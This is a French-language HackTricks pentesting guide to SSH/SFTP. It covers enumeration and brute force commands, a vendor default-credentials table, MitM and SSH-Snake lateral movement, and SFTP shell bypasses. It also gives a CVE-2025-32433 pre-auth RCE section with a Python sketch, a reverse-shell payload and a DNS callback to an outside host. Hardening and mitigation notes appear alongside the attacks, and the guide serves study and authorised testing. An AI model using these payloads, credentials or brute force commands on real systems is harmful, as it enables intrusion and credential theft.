22 - Pentesting SSH/SFTP
Reading time: 17 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
SSH (Secure Shell or Secure Socket Shell) est un protocole réseau qui permet une connexion sécurisée à un ordinateur via un réseau non sécurisé. Il est essentiel pour maintenir la confidentialité et l'intégrité des données lors de l'accÚs à des systÚmes distants.
Port par défaut : 22
22/tcp open ssh syn-ack
Serveurs SSH :
- openSSH â OpenBSD SSH, fourni dans BSD, les distributions Linux et Windows depuis Windows 10
- Dropbear â implĂ©mentation SSH pour environnements Ă faibles ressources mĂ©moire et processeur, fournie dans OpenWrt
- PuTTY â implĂ©mentation SSH pour Windows ; le client est couramment utilisĂ© mais l'usage du serveur est plus rare
- CopSSH â implĂ©mentation d'OpenSSH pour Windows
BibliothÚques SSH (implémentant la partie serveur) :
- libssh â bibliothĂšque C multiplateforme implĂ©mentant le protocole SSHv2 avec des bindings en Python, Perl et R ; elle est utilisĂ©e par KDE pour sftp et par GitHub pour l'infrastructure git SSH
- wolfSSH â bibliothĂšque serveur SSHv2 Ă©crite en ANSI C et destinĂ©e aux environnements embarquĂ©s, RTOS et Ă ressources limitĂ©es
- Apache MINA SSHD â la bibliothĂšque Java Apache SSHD est basĂ©e sur Apache MINA
- paramiko â bibliothĂšque Python du protocole SSHv2
ĂnumĂ©ration
Banner Grabbing
nc -vn <IP> 22
ssh-audit automatisé
ssh-audit est un outil d'audit de configuration pour serveurs et clients ssh.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
Fonctionnalités :
- prise en charge des serveurs utilisant les protocoles SSH1 et SSH2 ;
- analyser la configuration du client SSH ;
- récupérer la banniÚre, reconnaßtre l'appareil ou le logiciel et le systÚme d'exploitation, détecter la compression ;
- rassembler les algorithmes d'échange de clés, host-key, chiffrement et message authentication code ;
- afficher des informations sur les algorithmes (disponible depuis, supprimé/désactivé, non sûr/faible/obsolÚte, etc.) ;
- afficher des recommandations d'algorithmes (ajouter ou supprimer selon la version du logiciel reconnue) ;
- afficher des informations de sécurité (problÚmes liés, liste des CVE assignés, etc.) ;
- analyser la compatibilité des versions SSH en se basant sur les informations des algorithmes ;
- informations historiques provenant de OpenSSH, Dropbear SSH et libssh ;
- fonctionne sur Linux et Windows ;
- sans dépendances
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Clé SSH publique du serveur
ssh-keyscan -t rsa <IP> -p <PORT>
Algorithmes de chiffrement faibles
Cela est détecté par défaut par nmap. Mais vous pouvez aussi utiliser sslcan ou sslyze.
Nmap scripts
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
Dans certaines versions d'OpenSSH, vous pouvez réaliser une timing attack pour enumerate users. Vous pouvez utiliser un module metasploit pour exploiter ceci :
msf> use scanner/ssh/ssh_enumusers
Brute force
Quelques identifiants ssh courants here et here et ci-dessous.
Private Key Brute Force
Si vous connaissez des ssh private keys qui pourraient ĂȘtre utilisĂ©es... tentons. Vous pouvez utiliser le script nmap:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Ou le module auxiliaire MSF:
msf> use scanner/ssh/ssh_identify_pubkeys
Ou utilisez ssh-keybrute.py (python3 natif, léger et avec les algorithmes legacy activés) : snowdroppe/ssh-keybrute.
Les badkeys connues se trouvent ici :
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Clés SSH faibles / PRNG prévisible sur Debian
Certains systĂšmes prĂ©sentent des failles connues dans la graine alĂ©atoire utilisĂ©e pour gĂ©nĂ©rer le matĂ©riel cryptographique. Cela peut conduire Ă un espace de clĂ©s drastiquement rĂ©duit, susceptible d'ĂȘtre bruteforcĂ©. Des jeux de clĂ©s prĂ©-gĂ©nĂ©rĂ©s, produits sur des systĂšmes Debian affectĂ©s par un PRNG faible, sont disponibles ici : g0tmi1k/debian-ssh.
Vous devriez consulter ces ressources pour rechercher des clés valides pour la machine cible.
Kerberos / GSSAPI SSO
Si le serveur SSH cible prend en charge GSSAPI (par exemple Windows OpenSSH sur un contrĂŽleur de domaine), vous pouvez vous authentifier en utilisant votre Kerberos TGT au lieu d'un mot de passe.
Flux de travail depuis un hĂŽte attaquant Linux :
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Remarques:
- Si vous vous connectez avec le mauvais nom (par ex., nom court, alias, ou mauvais ordre dans
/etc/hosts), vous pouvez obtenir : "Server not found in Kerberos database" parce que le SPN ne correspond pas. crackmapexec ssh --kerberospeut aussi utiliser votre ccache pour Kerberos auth.
Identifiants par défaut
| Fournisseur | Noms d'utilisateur | Mots de passe |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Si vous ĂȘtes sur le rĂ©seau local de la victime qui va se connecter au serveur SSH en utilisant un nom d'utilisateur et un mot de passe, vous pouvez essayer de rĂ©aliser une attaque MitM pour voler ces identifiants :
Chemin d'attaque :
- Redirection du trafic : L'attaquant détourne le trafic de la victime vers sa machine, interceptant ainsi la tentative de connexion au serveur SSH.
- Interception et journalisation : La machine de l'attaquant joue le rÎle de proxy, capturant les identifiants de connexion de l'utilisateur en se faisant passer pour le serveur SSH légitime.
- Exécution de commandes et relais : Enfin, le serveur de l'attaquant enregistre les identifiants, transmet les commandes au vrai serveur SSH, les exécute, et renvoie les résultats à l'utilisateur, rendant le processus transparent et légitime.
SSH MITM fait exactement ce qui est décrit ci-dessus.
Pour effectuer le MitM proprement dit, vous pouvez utiliser des techniques comme ARP spoofing, DNS spoofin ou d'autres décrites dans les Network Spoofing attacks.
SSH-Snake
Si vous souhaitez traverser un réseau en utilisant des clés privées SSH découvertes sur des systÚmes, en utilisant chaque clé privée sur chaque systÚme pour accéder à de nouveaux hÎtes, alors SSH-Snake est ce qu'il vous faut.
SSH-Snake effectue automatiquement et de maniÚre récursive les tùches suivantes :
- Sur le systÚme courant, trouver toutes les clés privées SSH,
- Sur le systĂšme courant, trouver tous les hĂŽtes ou destinations (user@host) oĂč les clĂ©s privĂ©es peuvent ĂȘtre acceptĂ©es,
- Tenter de SSH vers toutes les destinations en utilisant toutes les clés privées découvertes,
- Si une destination est connectée avec succÚs, répéter les étapes #1 - #4 sur le systÚme connecté.
C'est entiĂšrement auto-rĂ©plicatif et auto-propagatif â et totalement fileless.
Mauvaises configurations
Connexion root
Il est courant que les serveurs SSH autorisent la connexion du user root par dĂ©faut, ce qui constitue un risque de sĂ©curitĂ© important. DĂ©sactiver la connexion root est une Ă©tape critique pour sĂ©curiser le serveur. L'accĂšs non autorisĂ© avec des privilĂšges administratifs et les attaques par brute force peuvent ĂȘtre attĂ©nuĂ©s en appliquant ce changement.
Pour désactiver la connexion root dans OpenSSH :
- Ăditez le fichier de config SSH avec :
sudoedit /etc/ssh/sshd_config - Changez la ligne de
#PermitRootLogin yesĂPermitRootLogin no. - Rechargez la configuration en utilisant :
sudo systemctl daemon-reload - Redémarrez le serveur SSH pour appliquer les changements :
sudo systemctl restart sshd
SFTP Brute Force
Exécution de commandes via SFTP
Il existe une erreur courante dans les configurations SFTP, oĂč les administrateurs veulent que les utilisateurs Ă©changent des fichiers sans activer l'accĂšs shell distant. MalgrĂ© le fait d'attribuer aux utilisateurs des shells non-interactifs (par ex., /usr/bin/nologin) et de les confiner Ă un rĂ©pertoire spĂ©cifique, une faille de sĂ©curitĂ© subsiste. Les utilisateurs peuvent contourner ces restrictions en demandant l'exĂ©cution d'une commande (comme /bin/bash) immĂ©diatement aprĂšs la connexion, avant que leur shell non-interactif ne prenne effet. Cela permet une exĂ©cution de commandes non autorisĂ©e, sapant les mesures de sĂ©curitĂ© prĂ©vues.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Voici un exemple de configuration SFTP sĂ©curisĂ©e (/etc/ssh/sshd_config â openSSH) pour l'utilisateur noraj:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Cette configuration autorisera uniquement SFTP : elle désactive l'accÚs shell en forçant la commande de démarrage et l'accÚs TTY, tout en bloquant tout type de port forwarding ou tunneling.
SFTP Tunneling
Si vous avez accÚs à un serveur SFTP, vous pouvez également acheminer votre trafic via celui-ci, par exemple en utilisant le port forwarding classique :
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
Le sftp possĂšde la commande "symlink". Par consĂ©quent, si vous avez des droits d'Ă©criture dans un dossier, vous pouvez crĂ©er des symlinks de d'autres dossiers/fichiers. Comme vous ĂȘtes probablement confinĂ© Ă l'intĂ©rieur d'un chroot, cela ne vous sera pas particuliĂšrement utile, mais, si vous pouvez accĂ©der au symlink créé depuis un no-chroot service (par exemple, si vous pouvez accĂ©der au symlink depuis le web), vous pourriez ouvrir les fichiers pointĂ©s par le symlink via le web.
Par exemple, pour créer un symlink depuis un nouveau fichier "froot" vers "/":
sftp> symlink / froot
Si vous pouvez accéder au fichier "froot" via le web, vous pourrez lister le dossier racine ("/") du systÚme.
Méthodes d'authentification
Dans un environnement hautement sécurisé, il est courant d'activer uniquement l'authentification basée sur des clés ou l'authentification à deux facteurs plutÎt que la simple authentification par mot de passe. Mais souvent, les méthodes d'authentification plus fortes sont activées sans désactiver les méthodes moins sûres. Un cas fréquent est d'activer publickey dans la configuration openSSH et de le définir comme méthode par défaut sans désactiver password. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu'une méthode moins sûre est activée :
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Par exemple, si une limite d'échecs d'authentification est définie et que vous n'avez jamais l'occasion d'atteindre la méthode password, vous pouvez utiliser l'option PreferredAuthentications pour forcer l'utilisation de cette méthode.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Il est nécessaire d'examiner la configuration du serveur SSH pour vérifier que seules les méthodes attendues sont autorisées. L'utilisation du mode verbeux cÎté client peut aider à évaluer l'efficacité de la configuration.
Fichiers de configuration
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Authentication State-Machine Bypass (Pre-Auth RCE)
Plusieurs implémentations de serveurs SSH présentent des défauts logiques dans la authentication finite-state machine qui permettent à un client d'envoyer des messages connection-protocol avant la fin de l'authentification. Parce que le serveur ne vérifie pas qu'il est dans l'état correct, ces messages sont traités comme si l'utilisateur était entiÚrement authentifié, conduisant à unauthenticated code execution ou à la création de session.
Au niveau du protocole, tout message SSH avec un message code â„ 80 (0x50) appartient Ă la couche connection (RFC 4254) et ne doit ĂȘtre acceptĂ© qu'aprĂšs une authentification rĂ©ussie (RFC 4252). Si le serveur traite l'un de ces messages alors qu'il se trouve encore dans l'Ă©tat SSH_AUTHENTICATION, l'attaquant peut immĂ©diatement crĂ©er un channel et demander des actions telles que command execution, port-forwarding, etc.
Ătapes gĂ©nĂ©riques d'exploitation
- Ătablir une connexion TCP vers le port SSH de la cible (gĂ©nĂ©ralement 22, mais d'autres services peuvent exposer Erlang/OTP sur 2022, 830, 2222âŠ).
- Construire un paquet SSH brut :
- 4 octets packet_length (big-endian)
- 1 octet message_code â„ 80 (e.g.
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - Payload compatible avec le type de message choisi
- Envoyer le(s) paquet(s) avant d'avoir terminé toute étape d'authentification.
- Interagir avec les APIs du serveur qui sont maintenant exposĂ©es pre-auth (command execution, port-forwarding, file-system access, âŠ).
Esquisse d'une preuve de concept en Python :
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity â send your own client banner then read server banner
# ⊠key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
En pratique, vous devrez effectuer (ou ignorer) le key-exchange selon l'implémentation cible, mais no authentication n'est jamais effectuée.
Erlang/OTP sshd (CVE-2025-32433)
- Versions affectées : OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Cause racine : le daemon SSH natif d'Erlang ne vérifie pas l'état courant avant d'invoquer
ssh_connection:handle_msg/2. Par conséquent, tout paquet avec un code de message 80-255 atteint le gestionnaire de connexion alors que la session est encore dans l'état userauth. - Impact : unauthenticated remote code execution (le daemon tourne généralement en tant que root sur des appareils embedded/OT).
Exemple de payload qui génÚre un reverse shell lié au attacker-controlled channel:
% open a channel first ⊠then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection peut ĂȘtre effectuĂ©e via DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Détection et atténuation :
- Inspecter le trafic SSH : rejeter tout paquet avec un code de message ℠80 observé avant l'authentification.
- Mettre à niveau Erlang/OTP vers 27.3.3 / 26.2.5.11 / 25.3.2.20 ou une version ultérieure.
- Restreindre l'exposition des ports de gestion (22/2022/830/2222) â en particulier sur les Ă©quipements OT.
Autres implémentations affectées
- libssh 0.6 â 0.8 (server side) â CVE-2018-10933 â accepte un
SSH_MSG_USERAUTH_SUCCESSnon authentifié envoyé par le client, constituant effectivement le défaut logique inverse.
La leçon commune est que tout Ă©cart par rapport aux transitions d'Ă©tat imposĂ©es par le RFC peut ĂȘtre fatal ; lors de la revue ou du fuzzing des daemons SSH, accordez une attention particuliĂšre Ă l'application de la machine d'Ă©tat.
Références
- Unit 42 â Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) â client setup and troubleshooting
- 0xdf â HTB: TheFrizz
HackTricks Commandes automatiques
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks